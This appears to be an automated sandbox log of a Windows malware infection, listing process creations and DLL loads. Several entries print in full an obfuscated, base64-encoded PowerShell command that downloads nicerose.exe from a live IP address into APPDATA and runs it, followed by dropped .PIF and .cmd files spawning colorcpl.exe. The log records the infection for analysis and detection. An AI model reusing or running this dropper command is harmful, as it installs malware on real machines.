                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.cmdline"
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDF90.tmp" "c:\Users\user\AppData\Local\Temp\mk3z1vxw\CSCE89B4642338842338CD923B6CF8B4F17.TMP"
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\nicerose.exe "C:\Users\user\AppData\Roaming\nicerose.exe"
                Source: C:\Users\user\AppData\Roaming\nicerose.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                Source: C:\Users\user\AppData\Roaming\nicerose.exeProcess created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe
                Source: unknownProcess created: C:\Users\Public\Libraries\Emxwenem.PIF "C:\Users\Public\Libraries\Emxwenem.PIF"
                Source: C:\Users\Public\Libraries\Emxwenem.PIFProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                Source: C:\Users\Public\Libraries\Emxwenem.PIFProcess created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe
                Source: unknownProcess created: C:\Users\Public\Libraries\Emxwenem.PIF "C:\Users\Public\Libraries\Emxwenem.PIF"
                Source: C:\Users\Public\Libraries\Emxwenem.PIFProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                Source: C:\Users\Public\Libraries\Emxwenem.PIFProcess created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe
                Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" "/C PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"Jump to behavior
                Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe PoWERSHeLl.Exe -EX bypAsS -noP -w 1 -c DEVICeCreDEnTIaLDePLOYmEnT.EXe ; invoke-EXPresSIon($(InvoKe-ExpressION('[sYsTeM.TEXT.EnCOdiNG]'+[CHaR]58+[cHAR]58+'Utf8.geTSTriNg([SysTEM.CONvErt]'+[chAr]0X3a+[chAR]58+'FromBaSE64StRinG('+[chAr]0x22+'JFYwICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURkLXR5cEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lTUJFcmRlZklOaVRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTG1vbiIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENoYXJTZXQgPSBDaGFyU2V0LlVuaWNvZGUpXXB1YmxpYyBzdGF0aWMgZXh0ZXJuIEludFB0ciBVUkxEb3dubG9hZFRvRmlsZShJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0ZYLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0c0FYcFFDSkpsLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnYndUS2dWdEVIZSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIE9NZHVKcUpRUWFCLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBnKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ1QUxUUUprTXlpIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbkFNZVNwYUNFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhBVHFRICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJFYwOjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTczLjIxNC4xNjcuNzQvNDQ0L25pY2Vyb3NlLmV4ZSIsIiRlbnY6QVBQREFUQVxuaWNlcm9zZS5leGUiLDAsMCk7c1RhclQtU0xFRVAoMyk7SW5WT0tFLWVYcFJFU3NpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTlY6QVBQREFUQVxuaWNlcm9zZS5leGUi'+[ChAR]34+'))')))"Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mk3z1vxw\mk3z1vxw.cmdline"Jump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\user\AppData\Roaming\nicerose.exe "C:\Users\user\AppData\Roaming\nicerose.exe"Jump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESDF90.tmp" "c:\Users\user\AppData\Local\Temp\mk3z1vxw\CSCE89B4642338842338CD923B6CF8B4F17.TMP"Jump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmdJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeProcess created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exeJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmdJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFProcess created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exeJump to behavior
                Source: C:\Users\Public\Libraries\Emxwenem.PIFProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c C:\Users\Public\Libraries\FX.cmd
                Source: C:\Users\Public\Libraries\Emxwenem.PIFProcess created: C:\Windows\SysWOW64\colorcpl.exe C:\Windows\System32\colorcpl.exe
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: mshtml.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: powrprof.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wkscli.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: umpdc.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msiso.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: srpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msimtf.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dxgi.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: textinputframework.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: coreuicomponents.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: coremessaging.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: coremessaging.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: resourcepolicyclient.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: jscript9.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: vbscript.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: scrrun.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sxs.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: edputil.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: msls31.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: d2d1.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: appresolver.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: bcp47langs.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: slc.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: sppc.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dwrite.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: d3d11.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: d3d10warp.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dxcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dataexchange.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: dcomp.dllJump to behavior
                Source: C:\Windows\SysWOW64\mshta.exeSection loaded: twinapi.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kdscli.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntasn1.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: mscoree.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: apphelp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: olepro32.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: url.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: ieframe.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: netapi32.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: wkscli.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: amsi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: ieproxy.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: ieproxy.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: ieproxy.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: winnsi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: mssip32.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: mssip32.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: mssip32.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: smartscreenps.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: smartscreenps.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: smartscreenps.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: winhttpcom.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: webio.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: schannel.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: mskeyprotect.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: ntasn1.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: ncrypt.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: ncryptsslp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: msasn1.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: cryptsp.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: rsaenh.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Users\user\AppData\Roaming\nicerose.exeSection loaded: gpapi.dllJump to behavior
